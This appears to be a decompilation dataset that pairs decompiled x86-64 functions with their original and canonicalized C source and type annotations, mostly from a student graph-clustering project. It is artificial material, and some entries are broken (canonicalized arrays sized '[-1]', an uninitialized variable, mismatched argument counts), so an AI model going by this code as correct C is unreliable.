decompiled_code:
_BOOL8 __fastcall add_edge_to_vertex(_QWORD *a1, _QWORD *a2, void *a3)
{
_BOOL4 v4; // ebx

if ( (unsigned int)check_edge_exists(*a1, *a2) == 1 )
{
v4 = 1;
send_error(9LL);
free(a3);
}
else
{
v4 = 1;
if ( !(unsigned int)double_and_add(*a2 + 16LL, *a2 + 24LL, a3) )
v4 = double_and_add(*a1 + 16LL, *a1 + 24LL, a3) != 0;
}
return v4;
}

canonical_decompiled_code:
_BOOL8 __fastcall func2(_QWORD *a1, _QWORD *a2, void *a3)
{
_BOOL4 v4; // ebx

if ( (unsigned int)check_edge_exists(*a1, *a2) == 1 )
{
v4 = 1;
send_error(9LL);
free(a3);
}
else
{
v4 = 1;
if ( !(unsigned int)double_and_add(*a2 + 16LL, *a2 + 24LL, a3) )
v4 = double_and_add(*a1 + 16LL, *a1 + 24LL, a3) != 0;
}
return v4;
}

original_code:
int add_edge_to_vertex(vertex **src_vrtx, vertex **dest_vrtx, edge *e) {
 int status;
 if (check_edge_exists(*src_vrtx, *dest_vrtx, e) == 1) {
  send_error(9);
  free(e);
  return 1;
 }
 status = double_and_add(&((*dest_vrtx)->adjacency_list), &((*dest_vrtx)->deg), e)
     || double_and_add(&((*src_vrtx)->adjacency_list), &((*src_vrtx)->deg), e);
 return status;
}

canonical_original_code:
int add_edge_to_vertex(struct vertex **src_vrtx, struct vertex **dest_vrtx, struct edge *e) {
 int status;
 if (check_edge_exists(*src_vrtx, *dest_vrtx, e) == 1) {
  send_error(9);
  free(e);
  return 1;
 }
 status = double_and_add(&((*dest_vrtx)->adjacency_list), &((*dest_vrtx)->deg), e)
     || double_and_add(&((*src_vrtx)->adjacency_list), &((*src_vrtx)->deg), e);
 return status;
}

variable_types: struct vertex { char *name; int id; void **adjacency_list; int deg; int cluster_id; } **

variable_types: struct edge { int from; int to; double weight; } *

variable_types: status int


bfs

repo: shellygr/SwProj

original_code:
int bfs(network* net, vertex* s, int **edges, int **id, int *cluster_id,
  int *longest_shortest, tuple ***clusterScores) {
 int nV = net->num_of_vertices;
 edge **lst;
 edge *currEdge;
 vertex *currVertex;
 int from, to, size = 1, numEdges = 0;
 int i, currVertexId, newVertexId;
 int distFunc[nV];
 int colors[nV];
 int is_new = 0;
 double sum = 0;
 queue *q = init_queue();
 if (q == ((void *)0)) {
  return 2;
 }
 for (i = 0; i < nV; i++) {
  distFunc[i] = -1;
  colors[i] = 0;
 }
 if (s->cluster_id != -1) {
  is_new = 1;
 }
 enqueue(q, init_elem(&(s->id), ((void *)0)));
 distFunc[s->id] = 0;
 currVertexId = s->id;
 while (!is_empty(q)) {
  currVertexId = *((int *)(dequeue(q)->content));
  currVertex = get_vertex(currVertexId, net);
  lst = (edge**)currVertex->adjacency_list;
  for (i = 0; i < currVertex->deg; i++) {
   currEdge = lst[i];
   to = currEdge->to;
   from = currEdge->from;
   if (to == currVertexId) {
    newVertexId = from;
   } else {
    newVertexId = to;
   }
   if (newVertexId < currVertexId)
    continue;
   elem* elm = init_elem(&newVertexId, ((void *)0));
   if (elm == ((void *)0)) {
    return 2;
   }
   if (edges[currVertexId][newVertexId - currVertexId - 1] == 1) {
    numEdges++;
    sum += currEdge->weight;
    if ((get_vertex(newVertexId, net))->cluster_id != -1)
     (get_vertex(newVertexId, net))->cluster_id = *cluster_id;
   }
   if (!(colors[newVertexId])) {
    enqueue(q, elm);
    size++;
    if (edges[currVertexId][newVertexId - currVertexId - 1]
      == 1) {
     colors[newVertexId] = 1;
     distFunc[newVertexId] = (distFunc[currVertexId]) + 1;
    }
   }
  }
  if (is_new) {
   *clusterScores[*cluster_id-1] = init_tuple(size, sum, *cluster_id);
   if (*clusterScores[*cluster_id-1] == ((void *)0)) {
    return 2;
   }
  }
 }
 for (i = 0; i < nV; i++)
  if ((get_vertex(i, net))->cluster_id == *cluster_id)
   if ((distFunc[i] > longest_shortest[*cluster_id])
     || (distFunc[i] == -1))
    longest_shortest[*cluster_id-1] = distFunc[i];
 if (is_new) {
  (*cluster_id)++;
 }
 return 0;
}

canonical_original_code:
int bfs(struct network *net, struct vertex *s, int **edges, int **id, int *cluster_id, int *longest_shortest, struct tuple ***clusterScores) {
 int nV = net->num_of_vertices;
 struct edge **lst;
 struct edge *currEdge;
 struct vertex *currVertex;
 int from; int to; int size = 1; int numEdges = 0;
 int i; int currVertexId; int newVertexId;
 int distFunc[-1];
 int colors[-1];
 int is_new = 0;
 double sum = 0;
 struct queue *q = init_queue();
 if (q == ((void *)0)) {
  return 2;
 }
 for (i = 0; i < nV; i++) {
  distFunc[i] = -1;
  colors[i] = 0;
 }
 if (s->cluster_id != -1) {
  is_new = 1;
 }
 enqueue(q, init_elem(&(s->id), ((void *)0)));
 distFunc[s->id] = 0;
 currVertexId = s->id;
 while (!is_empty(q)) {
  currVertexId = *((int *)(dequeue(q)->content));
  currVertex = get_vertex(currVertexId, net);
  lst = (struct edge **)currVertex->adjacency_list;
  for (i = 0; i < currVertex->deg; i++) {
   currEdge = lst[i];
   to = currEdge->to;
   from = currEdge->from;
   if (to == currVertexId) {
    newVertexId = from;
   } else {
    newVertexId = to;
   }
   if (newVertexId < currVertexId)
    continue;
   struct elem *elm = init_elem(&newVertexId, ((void *)0));
   if (elm == ((void *)0)) {
    return 2;
   }
   if (edges[currVertexId][newVertexId - currVertexId - 1] == 1) {
    numEdges++;
    sum += currEdge->weight;
    if ((get_vertex(newVertexId, net))->cluster_id != -1)
     (get_vertex(newVertexId, net))->cluster_id = *cluster_id;
   }
   if (!(colors[newVertexId])) {
    enqueue(q, elm);
    size++;
    if (edges[currVertexId][newVertexId - currVertexId - 1]
      == 1) {
     colors[newVertexId] = 1;
     distFunc[newVertexId] = (distFunc[currVertexId]) + 1;
    }
   }
  }
  if (is_new) {
   *clusterScores[*cluster_id-1] = init_tuple(size, sum, *cluster_id);
   if (*clusterScores[*cluster_id-1] == ((void *)0)) {
    return 2;
   }
  }
 }
 for (i = 0; i < nV; i++)
  if ((get_vertex(i, net))->cluster_id == *cluster_id)
   if ((distFunc[i] > longest_shortest[*cluster_id])
     || (distFunc[i] == -1))
    longest_shortest[*cluster_id-1] = distFunc[i];
 if (is_new) {
  (*cluster_id)++;
 }
 return 0;
}

variable_types: struct network { int num_of_vertices; void **vertices; } *

variable_types: struct vertex { char *name; int id; void **adjacency_list; int deg; int cluster_id; } *

variable_types:
edges
int **

variable_types:
id
int **

variable_types: struct tuple { int size; double score; int place; int diameter; } ***

variable_types: nV int

variable_types: struct edge { int from; int to; double weight; } **

variable_types: from int

variable_types: to int

variable_types: size int

variable_types: numEdges int

variable_types: i int

variable_types: currVertexId int

variable_types: newVertexId int

variable_types:
distFunc
int [-1]

variable_types:
colors
int [-1]

variable_types: sum double

variable_types: struct queue { struct elem { void *content; struct elem *next; } *head; struct elem *tail; } *

return_type: int

user_defined_types: struct queue { struct elem *head; struct elem *tail; }


original_code:
int bfs_all(network *net, int **id, int nV, int *realEdges,
  tuple **clusterScores) {
 int longest_shortest[nV];
 int inv_dic[nV];
 int i, cluster_id = 1;
 for (i = 0; i < nV; i++)
  longest_shortest[i] = 0;
 for (i = 0; i < nV; i++) {
  if (bfs(net, get_vertex(i, net), &realEdges, id, &cluster_id,
    longest_shortest, &clusterScores) == 2) {
   return -1;
  }
 }
 for (i = 0; i < cluster_id; i++) {
  clusterScores[i]->diameter = longest_shortest[i];
 }
 qsort(*clusterScores, cluster_id, sizeof(tuple), compare_to);
 for (i = 0; i < cluster_id; i++) {
  inv_dic[clusterScores[i]->place - 1] = i + 1;
 }
 for (i = 0; i < nV; i++) {
  vertex *v = get_vertex(i, net);
  v->cluster_id = inv_dic[v->cluster_id - 1];
 }
 return cluster_id;
}

canonical_original_code:
int bfs_all(struct network *net, int **id, int nV, int *realEdges, struct tuple **clusterScores) {
 int longest_shortest[-1];
 int inv_dic[-1];
 int i; int cluster_id = 1;
 for (i = 0; i < nV; i++)
  longest_shortest[i] = 0;
 for (i = 0; i < nV; i++) {
  if (bfs(net, get_vertex(i, net), &realEdges, id, &cluster_id,
    longest_shortest, &clusterScores) == 2) {
   return -1;
  }
 }
 for (i = 0; i < cluster_id; i++) {
  clusterScores[i]->diameter = longest_shortest[i];
 }
 qsort(*clusterScores, cluster_id, sizeof(tuple), compare_to);
 for (i = 0; i < cluster_id; i++) {
  inv_dic[clusterScores[i]->place - 1] = i + 1;
 }
 for (i = 0; i < nV; i++) {
  struct vertex *v = get_vertex(i, net);
  v->cluster_id = inv_dic[v->cluster_id - 1];
 }
 return cluster_id;
}

variable_types: struct network { int num_of_vertices; void **vertices; } *

variable_types:
realEdges
int *

variable_types: struct tuple { int size; double score; int place; int diameter; } **

variable_types: struct vertex { char *name; int id; void **adjacency_list; int deg; int cluster_id; } *


decompiled_code:
__int64 __fastcall calc_avg(unsigned int *a1, double *a2, double *a3, __int64 a4, _QWORD *a5)
{
__int64 result; // rax
int v8; // er12
double v9; // xmm0_8
__int64 v10; // rbx
__int64 v11; // rdi
double v12; // xmm0_8
__int64 v13; // rbp
__int64 v14; // r13
double v16; // [rsp+8h] [rbp-60h]
int v17; // [rsp+10h] [rbp-58h]
int v18; // [rsp+14h] [rbp-54h]
unsigned int v19; // [rsp+18h] [rbp-50h]
int v20; // [rsp+1Ch] [rbp-4Ch]

v19 = *a1;
result = *a1;
*a2 = 0.0;
*a3 = 0.0;
if ( (int)result > 0 )
{
v20 = 0;
v18 = 0;
v8 = 0;
do
{
result = get_vertex((unsigned int)v8, a1);
v13 = result;
v14 = *(_QWORD *)(result + 16);
if ( *(int *)(result + 24) > 0 )
{
v10 = 0LL;
do
{
result = *(_QWORD *)(v14 + 8 * v10);
v11 = *(unsigned int *)(result + 4);
if ( (int)v11 > v8 && *(_DWORD *)(a4 + 4LL * *(int *)(*a5 + 4LL * (int)v11)) == 1 )
{
v16 = *(double *)(result + 8);
v17 = *(_DWORD *)(v13 + 28);
if ( v17 == *(_DWORD *)(get_vertex(v11, a1) + 28) )
{
v9 = (double)v20 * *a2 + v16;
result = (unsigned int)(v20 + 1);
v20 = result;
*a2 = v9 / (double)(int)result;
}
else
{
v12 = (double)v18 * *a3 + v16;
result = (unsigned int)(v18 + 1);
v18 = result;
*a3 = v12 / (double)(int)result;
}
}
++v10;
}
while ( *(_DWORD *)(v13 + 24) > (int)v10 );
}
++v8;
}
while ( v19 != v8 );
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func2(unsigned int *a1, double *a2, double *a3, __int64 a4, _QWORD *a5)
{
__int64 result; // rax
int v8; // er12
double v9; // xmm0_8
__int64 v10; // rbx
__int64 v11; // rdi
double v12; // xmm0_8
__int64 v13; // rbp
__int64 v14; // r13
double v16; // [rsp+8h] [rbp-60h]
int v17; // [rsp+10h] [rbp-58h]
int v18; // [rsp+14h] [rbp-54h]
unsigned int v19; // [rsp+18h] [rbp-50h]
int v20; // [rsp+1Ch] [rbp-4Ch]

v19 = *a1;
result = *a1;
*a2 = 0.0;
*a3 = 0.0;
if ( (int)result > 0 )
{
v20 = 0;
v18 = 0;
v8 = 0;
do
{
result = get_vertex((unsigned int)v8, a1);
v13 = result;
v14 = *(_QWORD *)(result + 16);
if ( *(int *)(result + 24) > 0 )
{
v10 = 0LL;
do
{
result = *(_QWORD *)(v14 + 8 * v10);
v11 = *(unsigned int *)(result + 4);
if ( (int)v11 > v8 && *(_DWORD *)(a4 + 4LL * *(int *)(*a5 + 4LL * (int)v11)) == 1 )
{
v16 = *(double *)(result + 8);
v17 = *(_DWORD *)(v13 + 28);
if ( v17 == *(_DWORD *)(get_vertex(v11, a1) + 28) )
{
v9 = (double)v20 * *a2 + v16;
result = (unsigned int)(v20 + 1);
v20 = result;
*a2 = v9 / (double)(int)result;
}
else
{
v12 = (double)v18 * *a3 + v16;
result = (unsigned int)(v18 + 1);
v18 = result;
*a3 = v12 / (double)(int)result;
}
}
++v10;
}
while ( *(_DWORD *)(v13 + 24) > (int)v10 );
}
++v8;
}
while ( v19 != v8 );
}
return result;
}

original_code:
void calc_avg(network* net, double *avg_within, double *avgBetween,
  int *edges, int **id) {
 int i, j;
 int nV = net->num_of_vertices;
 int count_between = 0;
 int count_within = 0;
 edge **lst;
 vertex *currVertex;
 int other_vertex_id;
 int curr_vertex_id;
 *avg_within = 0;
 *avgBetween = 0;
 for (i = 0; i < nV; i++) {
  currVertex = get_vertex(i, net);
  lst = (edge **)currVertex->adjacency_list;
  for (j = 0; j < currVertex->deg; j++) {
   other_vertex_id = lst[j]->to;
   if (other_vertex_id > i) {
    if (edges[id[curr_vertex_id][other_vertex_id]] == 1) {
     double curr_weight = lst[j]->weight;
     if (currVertex->cluster_id
       == get_vertex(other_vertex_id, net)->cluster_id) {
      *avg_within = ((*avg_within * count_within)
        + curr_weight) / (count_within+1);
      count_within++;
     } else {
      *avgBetween = ((*avgBetween * (count_between))
        + curr_weight) / (count_between+1);
      count_between++;
     }
    }
   }
  }
 }
}

canonical_original_code:
void calc_avg(struct network *net, double *avg_within, double *avgBetween, int *edges, int **id) {
 int i; int j;
 int nV = net->num_of_vertices;
 int count_between = 0;
 int count_within = 0;
 struct edge **lst;
 struct vertex *currVertex;
 int other_vertex_id;
 int curr_vertex_id;
 *avg_within = 0;
 *avgBetween = 0;
 for (i = 0; i < nV; i++) {
  currVertex = get_vertex(i, net);
  lst = (struct edge **)currVertex->adjacency_list;
  for (j = 0; j < currVertex->deg; j++) {
   other_vertex_id = lst[j]->to;
   if (other_vertex_id > i) {
    if (edges[id[curr_vertex_id][other_vertex_id]] == 1) {
     double curr_weight = lst[j]->weight;
     if (currVertex->cluster_id
       == get_vertex(other_vertex_id, net)->cluster_id) {
      *avg_within = ((*avg_within * count_within)
        + curr_weight) / (count_within+1);
      count_within++;
     } else {
      *avgBetween = ((*avgBetween * (count_between))
        + curr_weight) / (count_between+1);
      count_between++;
     }
    }
   }
  }
 }
}

variable_types:
avgBetween
double *

variable_types:
edges
int *

variable_types:
id
int **

variable_types: j int

variable_types: nV int

return_type: void

user_defined_types: struct network { int num_of_vertices; void **vertices; }

user_defined_types: struct vertex { char *name; int id; void **adjacency_list; int deg; int cluster_id; }

user_defined_types: struct edge { int from; int to; double weight; }


decompiled_code:
__int64 __fastcall search_for_edge_in_incoming_edge_list(unsigned int **a1, int a2, unsigned int *a3)
{
unsigned int **v4; // rbx
unsigned int *v5; // rax

if ( a2 <= 0 )
return 0LL;
v4 = a1;
while ( 1 )
{
printf("list len %d\tedge_list[i]->from = %d edge_list[i]->to = %d\n", (unsigned int)a2, **v4, (*v4)[1]);
printf("e: %d->%d\n", *a3, a3[1]);
v5 = *v4;
if ( *(_QWORD *)*v4 == *(_QWORD *)a3 )
break;
if ( *v5 == a3[1] && v5[1] == *a3 )
return 1LL;
if ( ++v4 == &a1[(unsigned int)(a2 - 1) + 1] )
return 0LL;
}
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func0(unsigned int **a1, int a2, unsigned int *a3)
{
unsigned int **v4; // rbx
unsigned int *v5; // rax

if ( a2 <= 0 )
return 0LL;
v4 = a1;
while ( 1 )
{
printf("list len %d\tedge_list[i]->from = %d edge_list[i]->to = %d\n", (unsigned int)a2, **v4, (*v4)[1]);
printf("e: %d->%d\n", *a3, a3[1]);
v5 = *v4;
if ( *(_QWORD *)*v4 == *(_QWORD *)a3 )
break;
if ( *v5 == a3[1] && v5[1] == *a3 )
return 1LL;
if ( ++v4 == &a1[(unsigned int)(a2 - 1) + 1] )
return 0LL;
}
return 1LL;
}

original_code:
int search_for_edge_in_incoming_edge_list(edge** edge_list, int list_len,
  edge *e) {
 int i;
 for (i = 0; i < list_len; ++i) {
  printf("list len %d\tedge_list[i]->from = %d edge_list[i]->to = %d\n",list_len,edge_list[i]->from ,edge_list[i]->to);
  printf("e: %d->%d\n", e->from, e->to);
  if (((edge_list[i]->from == e->from) && (edge_list[i]->to == e->to))
    || ((edge_list[i]->from == e->to)
      && (edge_list[i]->to == e->from))) {
   return 1;
  }
 }
 return 0;
}

canonical_original_code:
int search_for_edge_in_incoming_edge_list(struct edge **edge_list, int list_len, struct edge *e) {
 int i;
 for (i = 0; i < list_len; ++i) {
  printf("list len %d\tedge_list[i]->from = %d edge_list[i]->to = %d\n",list_len,edge_list[i]->from ,edge_list[i]->to);
  printf("e: %d->%d\n", e->from, e->to);
  if (((edge_list[i]->from == e->from) && (edge_list[i]->to == e->to))
    || ((edge_list[i]->from == e->to)
      && (edge_list[i]->to == e->from))) {
   return 1;
  }
 }
 return 0;
}

variable_types: struct edge { int from; int to; double weight; } **

variable_types:
e
struct edge *


decompiled_code:
__int64 __fastcall check_edge_exists(__int64 a1, __int64 a2, unsigned int *a3)
{
__int64 v3; // rbx

v3 = a1;
if ( *(_DWORD *)(a1 + 24) > *(_DWORD *)(a2 + 24) )
v3 = a2;
printf("our src in searching is %d of deg %d\n", *(unsigned int *)(v3 + 8), *(unsigned int *)(v3 + 24));
return search_for_edge_in_incoming_edge_list(*(unsigned int ***)(v3 + 16), *(_DWORD *)(v3 + 24), a3);
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, __int64 a2, unsigned int *a3)
{
__int64 v3; // rbx

v3 = a1;
if ( *(_DWORD *)(a1 + 24) > *(_DWORD *)(a2 + 24) )
v3 = a2;
printf("our src in searching is %d of deg %d\n", *(unsigned int *)(v3 + 8), *(unsigned int *)(v3 + 24));
return func0(*(unsigned int ***)(v3 + 16), *(_DWORD *)(v3 + 24), a3);
}

original_code:
int check_edge_exists(vertex *src, vertex *to, edge *e) {
 vertex *tmp;
 if (src->deg > to->deg) {
  tmp = src;
  src = to;
  to = tmp;
 }
 printf("our src in searching is %d of deg %d\n", src->id, src->deg);
 return search_for_edge_in_incoming_edge_list((edge**) src->adjacency_list,
   src->deg, e);
}

canonical_original_code:
int check_edge_exists(struct vertex *src, struct vertex *to, struct edge *e) {
 struct vertex *tmp;
 if (src->deg > to->deg) {
  tmp = src;
  src = to;
  to = tmp;
 }
 printf("our src in searching is %d of deg %d\n", src->id, src->deg);
 return search_for_edge_in_incoming_edge_list((struct edge **) src->adjacency_list,
   src->deg, e);
}

variable_types:
to
struct vertex *

variable_types: struct edge { int from; int to; double weight; } *


decompiled_code:
__int64 __fastcall check_args(int a1, const char **a2)
{
const char *v2; // r12
const char *v3; // r13
size_t v4; // rbp
__int64 result; // rax
char *v6; // rbp
size_t v7; // rax
double v8; // xmm0_8
struct stat v9; // [rsp+0h] [rbp-B8h] BYREF

if ( a1 == 4 )
{
v2 = a2[1];
input_dir = (__int64)v2;
v3 = a2[2];
output_dir = (__int64)v3;
v4 = strlen(v2);
if ( v2[v4 - 1] == 47 && v3[strlen(v3) - 1] == 47 )
{
v6 = (char *)malloc(v4 + 8);
filename = v6;
v7 = strlen(v2);
strncpy(v6, v2, v7 + 1);
*(_QWORD *)&v6[strlen(v6)] = 0x6B726F7774656ELL;
if ( stat(v6, &v9) == -1 )
{
send_error(0xFFFFFFFFLL);
result = 1LL;
}
else
{
v8 = atof(a2[3]);
C = *(_QWORD *)&v8;
if ( v8 > 1.0 || (result = 0LL, v8 < 0.0) )
{
send_error(0LL);
result = 1LL;
}
}
}
else
{
send_error(4294967294LL);
result = 1LL;
}
}
else
{
send_error(4294967293LL);
result = 1LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(int a1, const char **a2)
{
const char *v2; // r12
const char *v3; // r13
size_t v4; // rbp
__int64 result; // rax
char *v6; // rbp
size_t v7; // rax
double v8; // xmm0_8
struct stat v9; // [rsp+0h] [rbp-B8h] BYREF

if ( a1 == 4 )
{
v2 = a2[1];
input_dir = (__int64)v2;
v3 = a2[2];
output_dir = (__int64)v3;
v4 = strlen(v2);
if ( v2[v4 - 1] == 47 && v3[strlen(v3) - 1] == 47 )
{
v6 = (char *)malloc(v4 + 8);
filename = v6;
v7 = strlen(v2);
strncpy(v6, v2, v7 + 1);
*(_QWORD *)&v6[strlen(v6)] = 0x6B726F7774656ELL;
if ( stat(v6, &v9) == -1 )
{
send_error(0xFFFFFFFFLL);
result = 1LL;
}
else
{
v8 = atof(a2[3]);
C = *(_QWORD *)&v8;
if ( v8 > 1.0 || (result = 0LL, v8 < 0.0) )
{
send_error(0LL);
result = 1LL;
}
}
}
else
{
send_error(4294967294LL);
result = 1LL;
}
}
else
{
send_error(4294967293LL);
result = 1LL;
}
return result;
}

original_code:
int check_args(int argc, char **argv) {
 struct stat tmp;
 if (argc != 4) {
  send_error(-3);
  return 1;
 }
 input_dir = argv[1];
 output_dir = argv[2];
 if ( (input_dir[strlen(input_dir)-1] != '/') || (output_dir[strlen(output_dir)-1] != '/') ) {
  send_error(-2);
  return 1;
 }
 filename = (char *) malloc(strlen(input_dir) + strlen("network") + 1);
 strncpy(filename, input_dir, strlen(input_dir) + 1);
 strncat(filename, "network", strlen("network") +1 );
 if (filename == ((void *)0)) {
  send_perror("malloc");
  return 2;
 }
 if (stat(filename, &tmp) == -1) {
  send_error(-1);
  return 1;
 }
 C = atof(argv[3]);
 if ( (C > 1) || (C < 0) ) {
  send_error(0);
  return 1;
 }
 return 0;
}

variable_types: argc int

variable_types:
argv
char **

variable_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; long st_atime; unsigned long st_atimensec; long st_mtime; unsigned long st_mtimensec; long st_ctime; unsigned long st_ctimensec; long __glibc_reserved[3]; }


decompiled_code:
__int64 __fastcall check_all_whitespace(const char *a1)
{
const char *v1; // rbx
char *v2; // rbp
const unsigned __int16 **v3; // rax
__int64 v4; // rdx

v1 = a1;
v2 = (char *)&a1[strlen(a1)];
while ( v1 != v2 )
{
v3 = _ctype_b_loc();
v4 = *v1++;
if ( ((*v3)[v4] & 0x2000) == 0 )
return 0LL;
}
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func1(const char *a1)
{
const char *v1; // rbx
char *v2; // rbp
const unsigned __int16 **v3; // rax
__int64 v4; // rdx

v1 = a1;
v2 = (char *)&a1[strlen(a1)];
while ( v1 != v2 )
{
v3 = _ctype_b_loc();
v4 = *v1++;
if ( ((*v3)[v4] & 0x2000) == 0 )
return 0LL;
}
return 1LL;
}

original_code:
int check_all_whitespace(char *str) {
 int i;
 for (i = 0; i < strlen(str); i++) {
  if (!((*__ctype_b_loc ())[(int) ((*(str + i)))] & (unsigned short int) _ISspace))
   return 0;
 }
 return 1;
}

canonical_original_code:
int check_all_whitespace(char *str) {
 int i;
 for (i = 0; i < strlen(str); i++) {
  if (!((*__ctype_b_loc ())[(int) ((*(str + i)))] & (unsigned short) _ISspace))
   return 0;
 }
 return 1;
}

variable_types:
str
char *

variable_types: i int


decompiled_code:
__int64 __fastcall get_action(char *haystack)
{
char *v1; // rdx
__int64 result; // rax
char *v3; // rdx

v1 = strstr(haystack, "add_vertex");
result = 1LL;
if ( haystack != v1 )
{
v3 = strstr(haystack, "add_edge");
result = 2LL;
if ( haystack != v3 )
{
send_error(3LL);
result = 0LL;
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func2(char *haystack)
{
char *v1; // rdx
__int64 result; // rax
char *v3; // rdx

v1 = strstr(haystack, "add_vertex");
result = 1LL;
if ( haystack != v1 )
{
v3 = strstr(haystack, "add_edge");
result = 2LL;
if ( haystack != v3 )
{
send_error(3LL);
result = 0LL;
}
}
return result;
}

original_code:
int get_action(char *command) {
 int ret = 0;
 if (strstr(command, "add_vertex") == command) {
  ret = 1;
 } else if (strstr(command, "add_edge") == command) {
  ret = 2;
 }
 if (ret == 0)
  send_error(3);
 return ret;
}

variable_types:
command
char *

variable_types: ret int


decompiled_code:
__int64 __fastcall get_params(__int64 a1, int a2)
{
__int64 result; // rax
__int64 v3; // rdi

result = a1 + 10;
if ( a2 != 1 )
{
v3 = a1 + 8;
result = 0LL;
if ( a2 == 2 )
result = v3;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func3(__int64 a1, int a2)
{
__int64 result; // rax
__int64 v3; // rdi

result = a1 + 10;
if ( a2 != 1 )
{
v3 = a1 + 8;
result = 0LL;
if ( a2 == 2 )
result = v3;
}
return result;
}

original_code:
char *get_params(char *command, int code) {
 switch (code) {
 case 1:
  return command + 10;
 case 2:
  return command + 8;
 default:
  return ((void *)0);
 }
}

variable_types: code int

return_type: char *


decompiled_code:
char *__fastcall get_full_path(const char *a1, const char *a2)
{
size_t v2; // rbx
size_t v3; // rax
char *v4; // rax
char *v5; // rbx

v2 = strlen(a1);
v3 = strlen(a2);
v4 = (char *)malloc(v2 + v3 + 1);
v5 = v4;
if ( v4 )
{
if ( sprintf(v4, "%s%s", a1, a2) < 0 )
{
send_perror("sprintf");
v5 = 0LL;
}
}
else
{
send_perror("malloc");
}
return v5;
}

canonical_decompiled_code:
char *__fastcall func3(const char *a1, const char *a2)
{
size_t v2; // rbx
size_t v3; // rax
char *v4; // rax
char *v5; // rbx

v2 = strlen(a1);
v3 = strlen(a2);
v4 = (char *)malloc(v2 + v3 + 1);
v5 = v4;
if ( v4 )
{
if ( sprintf(v4, "%s%s", a1, a2) < 0 )
{
send_perror("sprintf");
v5 = 0LL;
}
}
else
{
send_perror("malloc");
}
return v5;
}

original_code:
char* get_full_path(char *out_dir, char *filename) {
 char *full_path = (char *) malloc(strlen(out_dir) + strlen(filename) + 1);
 if (full_path == ((void *)0)) {
  send_perror("malloc");
  return ((void *)0);
 }
 if (sprintf(full_path, "%s%s", out_dir, filename) < 0) {
  send_perror("sprintf");
  return ((void *)0);
 }
 return full_path;
}

canonical_original_code:
char *get_full_path(char *out_dir, char *filename) {
 char *full_path = (char *) malloc(strlen(out_dir) + strlen(filename) + 1);
 if (full_path == ((void *)0)) {
  send_perror("malloc");
  return ((void *)0);
 }
 if (sprintf(full_path, "%s%s", out_dir, filename) < 0) {
  send_perror("sprintf");
  return ((void *)0);
 }
 return full_path;
}

variable_types:
filename
char *


output

decompiled_code:
__int64 __fastcall output(unsigned int *a1, __int64 a2, unsigned int a3, __int64 a4, const char *a5, double a6, double a7, double a8, double a9)
{
__int64 result; // rax
__int64 v12[4]; // [rsp+8h] [rbp-20h] BYREF

v12[0] = a2;
if ( *a1 )
{
result = results_writer(a1, a6, a7, a8, a9, v12[0], a3, a4, a5);
if ( (_DWORD)result != 2 )
{
result = cluster_sol_writer(a1, v12, a5, a3);
if ( (_DWORD)result != 2 )
{
result = best_solution_writer(a1, v12, a5);
if ( (_DWORD)result != 2 )
result = 0LL;
}
}
}
else
{
puts("The network has no vertices. Exiting.");
result = 1LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func5(unsigned int *a1, __int64 a2, unsigned int a3, __int64 a4, const char *a5, double a6, double a7, double a8, double a9)
{
__int64 result; // rax
__int64 v12[4]; // [rsp+8h] [rbp-20h] BYREF

v12[0] = a2;
if ( *a1 )
{
result = func4(a1, a6, a7, a8, a9, v12[0], a3, a4, a5);
if ( (_DWORD)result != 2 )
{
result = cluster_sol_writer(a1, v12, a5, a3);
if ( (_DWORD)result != 2 )
{
result = best_solution_writer(a1, v12, a5);
if ( (_DWORD)result != 2 )
result = 0LL;
}
}
}
else
{
puts("The network has no vertices. Exiting.");
result = 1LL;
}
return result;
}

original_code:
int output(network *net, int *edges, double ghost_const,
  double optimized_score, int num_of_clusters, double avg_within, double avg_between, tuple **scores, char *out_dir) {
 if (net->num_of_vertices == 0) {
  printf("The network has no vertices. Exiting.\n");
  return 1;
 } else {
  if (results_writer(net, edges, ghost_const,
  optimized_score, num_of_clusters, avg_within, avg_between, scores, out_dir) == 2) {
   return 2;
  }
  if (cluster_sol_writer(net, &edges, out_dir, num_of_clusters) == 2) {
   return 2;
  }
  if (best_solution_writer(net, &edges, out_dir) == 2) {
   return 2;
  }
 }
 return 0;
}

canonical_original_code:
int output(struct network *net, int *edges, double ghost_const, double optimized_score, int num_of_clusters, double avg_within, double avg_between, struct tuple **scores, char *out_dir) {
 if (net->num_of_vertices == 0) {
  printf("The network has no vertices. Exiting.\n");
  return 1;
 } else {
  if (results_writer(net, edges, ghost_const,
  optimized_score, num_of_clusters, avg_within, avg_between, scores, out_dir) == 2) {
   return 2;
  }
  if (cluster_sol_writer(net, &edges, out_dir, num_of_clusters) == 2) {
   return 2;
  }
  if (best_solution_writer(net, &edges, out_dir) == 2) {
   return 2;
  }
 }
 return 0;
}

variable_types: struct network { int num_of_vertices; void **vertices; } *

variable_types:
edges
int *

variable_types: struct tuple { int size; double score; int place; int diameter; } **


quit

decompiled_code:
void __noreturn quit()
{
__int64 i; // rbx
__pid_t *v1; // rbp

for ( i = *((_QWORD *)&dword_E80 + 1); i; i = *(_QWORD *)(i + 16) )
{
v1 = *(__pid_t **)i;
kill(**(_DWORD **)i, 18);
process_close(v1);
}
cleanup_process_family(&dword_E80);
putchar(13);
fflush(stdout);
exit(0);
}

canonical_decompiled_code:
void __noreturn func2()
{
__int64 i; // rbx
__pid_t *v1; // rbp

for ( i = *((_QWORD *)&dword_E80 + 1); i; i = *(_QWORD *)(i + 16) )
{
v1 = *(__pid_t **)i;
kill(**(_DWORD **)i, 18);
process_close(v1);
}
cleanup_process_family(&dword_E80);
putchar(13);
fflush(stdout);
exit(0);
}

original_code:
static void quit(int sig)
{
 struct list_node *node = ((void *)0);
 for (node=pf.members.first; node!= ((void *)0); node=node->next) {
  struct process *p = (struct process*)(node->data);
  kill(p->pid, 18);
  process_close(p);
 }
 cleanup_process_family(&pf);
 printf("\r");
 fflush(stdout);
 exit(0);
}

variable_types: sig int

variable_types: struct list_node { void *data; struct list_node *previous; struct list_node *next; } *

